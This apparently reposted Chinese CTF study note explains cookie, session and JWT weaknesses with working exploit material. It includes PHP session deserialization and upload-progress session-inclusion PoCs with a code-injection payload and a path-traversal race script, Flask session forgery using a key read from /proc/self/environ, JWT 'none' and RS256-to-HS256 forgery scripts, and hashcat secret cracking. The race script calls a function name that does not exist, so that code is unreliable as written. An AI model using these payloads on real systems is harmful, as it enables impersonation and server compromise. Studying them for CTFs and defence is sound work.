CTF中的COOKIE&SESSION&TOKEN
2023-8-2 18:48:0 Author: xz.aliyun.com(查看原文) 阅读量:8 收藏

我是这么理解的,由于http是无状态的,需要cookie存储一些信息,相当与你去银行办业务说出你的姓名、电话、身份证号等,在web交互中这个过程相当于浏览器向服务器提交cookie,但是我能不能在银行办业务的时候说别人的姓名、电话呢?如果银行没有相应手段证伪的话大概是可以的,也就是你可以伪装成别人,给别人办卡,或者取走别人的钱。所以就需要银行也储存一些信息来确认,类似让你做人脸识别,最后身份证、户口本相当于token,他们是有加密和难以伪造的(除非你偷走别人的户口本,并且通过了银行的再验证)

OAuth

参考https://xz.aliyun.com/t/6640

工作流程

工作流程

(1)首先使用==session_start()==函数进行初始化,启动会话

- 读取名为PHPSESSID(默认)的cookie值,假使为abc123

   - 若读取到PHPSESSID这个COOKIE,创建$_SESSION变量,并从相应的目录中(可以再php.ini中设置)读取SESS_abc123(默认是这  

   种命名方式)文件,将字符装在入$_SESSION变量中;

   - 如果发现请求的Cookie、Get、Post中不存在session id,PHP就会自动调用php_session_create_id函数创建一个新的会话,并且在

   http response中通过set-cookie头部发送给客户端保存,(有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及form的hidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。)

   也会创建$_SESSION变量,同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器

   端。

(2)当执行PHP脚本时,通过使用$_SESSION变量注册session文件。
(3)当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中, 这个路径可以通过php.ini文件中的==session.save_path==指定,下次浏览网页时可以加载使用。


抓包

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

可以看到新生成的sess存储文件

第二次再发包cookie里就带PHPSESSID了


可以看到session是==序列化存储==的,之前做过session反序列化的题

trick

  • 在PHP配置中的默认情况下,Session是用==Session ID==来确定当前对话所对应的服务器Session,而Session ID是通过Cookie来传递的,禁用Cookie相当于失去了Session ID,也就得不到Session了

利用1:session反序列化

选择不同的处理器,处理方式也不一样,如果序列化和储存session与反序列化的方式不同,就有可能导致漏洞的产生。

https://github.com/80vul/phpcodz/blob/master/research/pch-013.md

我之前一直不理解session是怎么影响到当前php脚本的,现在懂了一些,==当 PHP 停止的时候,它会自动读取 内存中$_SESSION 中的内容,并将其进行序列化, 然后发送给会话保存管理器来进行保存(持久化存储在硬盘上)。==也就是session被序列化的时候,那我猜session进行反序列化的时候就是用户传过来sessid并且确实存在这个会话id的时候,这个时候硬盘中的sess_文件内容会被反序列化取出到内存中,那么这里也能看出来==用户越多的时候对服务器的内存压力是越大的==。

那么这个漏洞的利用过程大概是:

一、题目ini配置满足session内容的自定义上传 ,上传过程中存储在$_SESSION,结束后根据==php.ini中规定的处理器==进行持久化存储(因为当前并没有执行这个题目的php脚本)

二、存在session序列化处理器不同的漏洞 ,发起会话读取这个题目的页面时,session会被从sess_文件中读取并根据==当前php脚本中ini_set规定的处理器==进行反序列化,这个时候正在被反序列化的字符串(我们构造的payload)刚好与当前执行的php脚本契合,那这个session存储的序列化内容就被反序列化执行了

默认情况下,PHP 使用内置的文件会话保存管理器来完成session的保存,也可以通过配置项 session.save_handler 来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项session.save_path所指定的位置。

PHP session在php.ini中有很多配置项,PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的


session.serialize_handler定义的引擎有三种,如下表所示:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组
  • php

    <?php
    error_reporting(0);
    ini_set('session.serialize_handler','php');
    session_start();
    $_SESSION['session'] = $_GET['session'];
    ?>
    

    C|s:8:"flag.php";

  • php_binary

    <?php
    error_reporting(0);
    ini_set('session.serialize_handler','php_binary');
    session_start();
    $_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
    ?>
    

    #为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions为键名,s:7:"xianzhi";为传入 GET 参数经过序列化后的值

  • php_serialize

    <?php
    error_reporting(0);
    ini_set('session.serialize_handler','php_serialize');
    session_start();
    $_SESSION['session'] = $_GET['session'];
    ?>
    

    a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值

上传进度支持(session.upload_progress)

当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。

poc

<!DOCTYPE html>
<html>
<head>
    <title>A_dmin</title>
    <meta charset="utf-8">
</head>
<body>
    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
        <input type="file" name="file" />
        <input type="submit" value="submit" />
    </form>
</body>
</html>

抓包修改,在序列化的字符串前加 |,提交即可。

利用2:session伪造

这一块一直不咋熟悉,貌似在flask中session伪造比较多,学一下

并不是所有语言都有像php那样的的session存储机制,也不是任何情况下我们都可以向服务器写入文件。所以,很多Web框架都会另辟蹊径,比如Django默认将session存储在数据库中,而对于flask这里并不包含数据库操作的框架,就只能将session存储在cookie中。

因为cookie实际上是存储在客户端(浏览器)中的,所以称之为“客户端session”。

flasksession 机制:flask 源码解析:session

客户端 session问题:客户端 session 导致的安全问题

flask仅对 session 进行了签名,按照flask对session的处理,如果我们拿不到secret_key也就无法伪造session

此外众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题,比如敏感信息泄露。

flask解密脚本

通过这个脚本解密处 session ,我们就可以大概知道 session 中存储着哪些基本信息。然后我们可以通过其他漏洞获取用于签名认证的 secret_key ,进而伪造任意用户身份,扩大攻击效果。

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
    print(decryption("eyJ1c2VybmFtZSI6eyIgYiI6IlozVmxjM1E9In19.XyZ3Vw.OcD3-l1yOcq8vlg8g4Ww3FxrhVs".encode()))

flask加密脚本

https://github.com/noraj/flask-session-cookie-manager

注意,编码一定需要加密的key的,需要去找这个key,可能在环境变量里面

/proc/self
// 其路径指向当前进程

/environ
// 记录当前进程的环境变量信息

当路径为../../proc/self/environ时,得到环境变量回显(这里存在任意文件读取)

  • 编码

    python3 flask_session_cookie_manager3.py encode -s "woshicaiji" -t "{'username': b'admin'}"

    usage: flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string></string></string>

    optional arguments:
    -h, --help show this help message and exit
    -s <string>, --secret-key <string>
    Secret key
    -t <string>, --cookie-structure <string>
    Session cookie structure</string></string></string></string>

  • 解码

    python3 ./flask_session_cookie_manager3.py decode -c ".eJw9kE2LwjAURf_K8NYuajqzEVwIsaXCS1FiQ7IRdWrz0ThDW6mN-N8nOODqLe7hXO57wOHS1b2GxdDd6hkczDcsHvBxggWg3afIi7u05wnJNjCSOZVnjuWVRt46DNpJIe-KKqf4NjKSSK4Ns-cRvYrcRjO6JyVtDYZiYl4GJJmJ1BxtcS8FkngnyXFUNjMql1_SrlImMJT0RaeRmLO8-FTcTcpiUvKdVnRN0FemzCPDWx37lvCcwbnvLofhx9XX9wTpN7YUqmWxUorKKrsakTdBBu2V2BhGK8dEnCiimq5TZldENsuXzvhjU79Nu-SX7sf_5Hr0MYCh7geYwa2vu9fbYJ7A8w-kYW1v.Xj-tXQ.GmXzuYTP0IobbVCyI-9xVsc5C5A" -s ckj123

    usage: flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string></string></string>

    optional arguments:
    -h, --help show this help message and exit
    -s <string>, --secret-key <string>
    Secret key
    -c <string>, --cookie-value <string>
    Session cookie value</string></string></string></string>

2018HCTF WEB admin(session伪造、unicode漏洞、条件竞争)

https://www.cnblogs.com/xhds/p/12287085.html

利用3:session包含

php.ini有关session的重要配置项

  • session.upload_progress.enabled = on 表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

  • session.upload_progress.prefix = "uploadprogress" //将表示为session中的键名

  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" //当它出现在表单中,php将会报告上传进度,而且==它的值可控==!!!(shell内容)

  • session.use_strict_mode = off //这个选项默认值为off,表示我们对==Cookie中sessionid可控==!!!(shell名字)

  • session.save_path = /var/lib/php/sessions //session的存贮位置,默认还有一个 /tmp/目录

平常,当我们要创建session时往往会在php代码里写session_start(),但我们不写的话,也是可以创建的。

比如,在php.ini中设置session.auto_start=On 的情况下,php在接收请求的时候会自动初始化session,不需要执行session_start()。但默认状态下,这个选项是默认关闭的。

不过幸好,session还有一个默认选项,session.use_strict_mode默认值为0。

这样用户是可以自己定义session ID的。比如,我们在cookie里设置PHPSESSID=MUNG29,就会在服务器/tmp目录下或者/var/lib/php/sessions/目录下创建一个文件:sess_MUNG29。即便没有设置自动初始化session,php也会产生session,并生成一个键值,这个键值由ini.get("session.upload_progress.prefix")+我们构造的session.upload_progress.name值组成,最后被一起写入sess_文件里。

如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的sessionID字段。(没有权限)
而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。

默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

POC

<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat flag.php');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>
import io
import sys
import requests
import threading
sessid = 'mung29'

def WRITE(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://localhost/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');?>"},
            files={"file":('1.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        resp = session.get(f'http://localhost/index.php/?file=../../../../../../../../tmp/sess_{sessid}')

        if 'flag{' in resp.text:
            print(resp.text)
            sys.exit(0)
        else:
            print('Thinking[+++++++]')

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

jwt

http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

JSON Web Token由三部分组成,是目前最流行的跨域身份验证解决方案,它们之间用圆点(.)连接。这三部分分别是:

  • Header

    {
    "alg": "HS256",
    "typ": "JWT"
    }

  • Payload

  • Signature

    HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

    Base64 有三个字符+/=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-/替换成_ 。这就是 Base64URL 算法。

JWT与Session的异同

相同点是,它们都是存储用户信息;然而,Session是在服务器端的,而JWT是在客户端的。

Session方式存储用户信息的最大问题在于要==占用大量服务器内存==,增加服务器的开销,而JWT方式将用户状态分散到了客户端中,可以明显减轻服务端的内存压力。

Session的状态是存储在服务器端,客户端只有session id的cookie;但是如果是服务器集群,或者是跨域的服务导向架构,就要求 session 数据共享,每台服务器都能够读取 session,一种解决方案是 session 数据持久化,写入数据库或别的持久层,缺点是工程量比较大,另外,持久层也有挂掉的风险,另一种方案是==服务器索性不保存 session 数据了,所有数据都保存在客户端==,每次请求都发回服务器。JWT 就是这种方案的一个代表。

JWT缺陷

JWT 的最大缺点是,由于服务器不保存 session 状态,因此无法在使用过程中废止某个 token,或者更改 token 的权限。也就是说,一旦 JWT 签发了,在到期之前就会始终有效,除非服务器部署额外的逻辑。(也就是说一个用户在手机A中登录了,然后又在手机B中登录,在过期之前手机A和B都可以登录,无法做到B登录后让A过期,如果要做到这点,就必须让服务器维护一个清单(记录该账号是否已经签发token),这样又回到session的老路了)

JWT 本身包含了认证信息,一旦泄露,任何人都可以获得该令牌的所有权限。为了减少盗用,JWT 的有效期应该设置得比较短。对于一些比较重要的权限,使用时应该再次对用户进行认证。

为了减少盗用,JWT 不应该使用 HTTP 协议明码传输,要使用 HTTPS 协议传输。

利用1:修改加密算法

  • 改为none

用none算法生成的JWT==只有两部分==了,根本连签名都不存在。

JWT签名算法可确保JWT在传输过程中不会被恶意用户所篡改,但头部的alg字段可以改为none,若服务器支持签名算法为none,服务器会在JWT中删除相应的签名数据(这时,JWT就会只含有头部 + ‘.’ + 有效载荷 + ‘.’),然后将其提交给服务器。

设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将 alg 字段设置为 “None” 来伪造他们想要的任何 token,接着便可以使用伪造的 token 冒充任意用户登陆网站。

解密,我可以通过传入不存在的id,让secret为undefined,导致algorithm为none,然后就可以通过伪造jwt来成为admin

poc

#pip3 install pyjwt
import jwt

token = jwt.encode({"secretid":"","username":"admin","password":"123456","iat":1587367857},algorithm="none",key="").decode(encoding='utf-8')

print(token)
import jwt

# payload
token_dict = {
  "iss": "admin"
}

headers = {
  "alg": "none",
  "typ": "JWT"
}
jwt_token = jwt.encode(token_dict,          # payload, 有效载体
                       "",                  # 进行加密签名的密钥
                       algorithm="none",     # 指明签名算法方式, 默认也是HS256
                       headers=headers 
                       # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                       )

print(jwt_token)
  • 修改RS256算法为HS256:(非对称密码算法=>对称密码算法)

HS256算法使用密钥为所有消息进行签名和验证,而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。

如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。

如果它的公钥泄露的话,我们可以尝试将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。这样的话,后端代码使用RSA公钥+HS256算法进行签名验证。

node脚本

写这个js文件,然后执行 node "xxx.js"

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

利用2:爆破密钥

如果HS256密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥,例如将密钥字符串用作PyJWT库示例代码中的密钥的时候,情况就是如此。

字典https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt

  • c-jwt-cracker

    https://github.com/brendan-rius/c-jwt-cracker

    这里用docker用法

    cd到安装目录执行docker build . -t jwtcrack

    利用Docker来构建一个镜像并为该镜像命名为jwtcrack

    • docker build: 这是Docker命令,用于构建一个镜像。
    • .: 这表示当前目录,它告诉Docker在当前目录下查找Dockerfile文件,Dockerfile文件包含了构建镜像的指令。
    • -t jwtcrack: 这是一个标签参数,用于为构建的镜像指定一个名称,这里我们将其命名为jwtcrack

    爆破

    • docker run: 这是Docker命令,用于运行一个容器。
    • -it: 这是两个参数的组合,-i表示交互式运行容器,-t表示为容器分配一个伪终端(pseudo-TTY)。
    • --rm: 这是一个参数,表示容器退出后自动删除容器。这样可以在容器停止后清理资源,避免占用空间。
    • jwtcrack: 这是之前构建的镜像的名称,用于指定要运行的容器的基础镜像。

    docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjgzODk1MiwiZXhwIjoxNjMyODQ2MTUyLCJuYmYiOjE2MzI4Mzg5NTIsInN1YiI6InVzZXIiLCJqdGkiOiI5M2QwODg0MTU5MzQ5MWJiMDc1NzZkNDI5NzFkODIyZSJ9.VlGkcoMcfvtRYv2kMczlfD8ns1hpN2pArD5PdrVgO6I

  • hashcat

    参数

    -m 哈希类别

    -n 线程数

    -a 攻击模式,其值参考后面对参数。“-a 0”字典攻击,“-a 1” 组合攻击;“-a 3”掩码攻击。

    ?d代表数字,可以换成小写字母?l,大写字母?u,特殊字符?s,大小写字母+特殊字符?a,–O表示最优化破解模式,可以加该参数,也可以不加该参数。

    现在纯数字或者纯字母的密码是比较少见的,根据密码专家对泄漏密码的分析,90%的个人密码是字母和数字的组合,可以是自定义字符了来进行暴力破解,Hashcat支持4个自定义字符集,分别是 -1 -2 -3 -4。定义时只需要这样-2 ?l?d ,然后就可以在后面指定?2,?2表示小写字母和数字。这时候要破解一个8位混合的小写字母加数字:

    Hashcat.exe -a 3 --force -2 ?l?d hassh值或者hash文件 ?2?2?2?2?2?2?2?2

    掩码

    hashcat -a 3 -m 16500 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.KQmLQ3oyd6NJkfAttkTl1PFR5fijDe3u-NUJJDgOPrA -1 1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM ?1?1?1?1?1

    字典

    hashcat -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2NzY1Njk0MiwiZXhwIjoxNjY3NjY0MTQyLCJuYmYiOjE2Njc2NTY5NDIsInN1YiI6InVzZXIiLCJqdGkiOiJkODMwMGU0MWJkZWI5Y2M1MjIzNzgxMDdkMDE2MzlhOCJ9.lYnVCfleYbtGCZMTtBlRHPn2b9AKLLa2qSe7ksQb53o -a 0 jwt-dicc.txt


文章来源: https://xz.aliyun.com/t/12754
如有侵权请联系:admin#unsafe.sh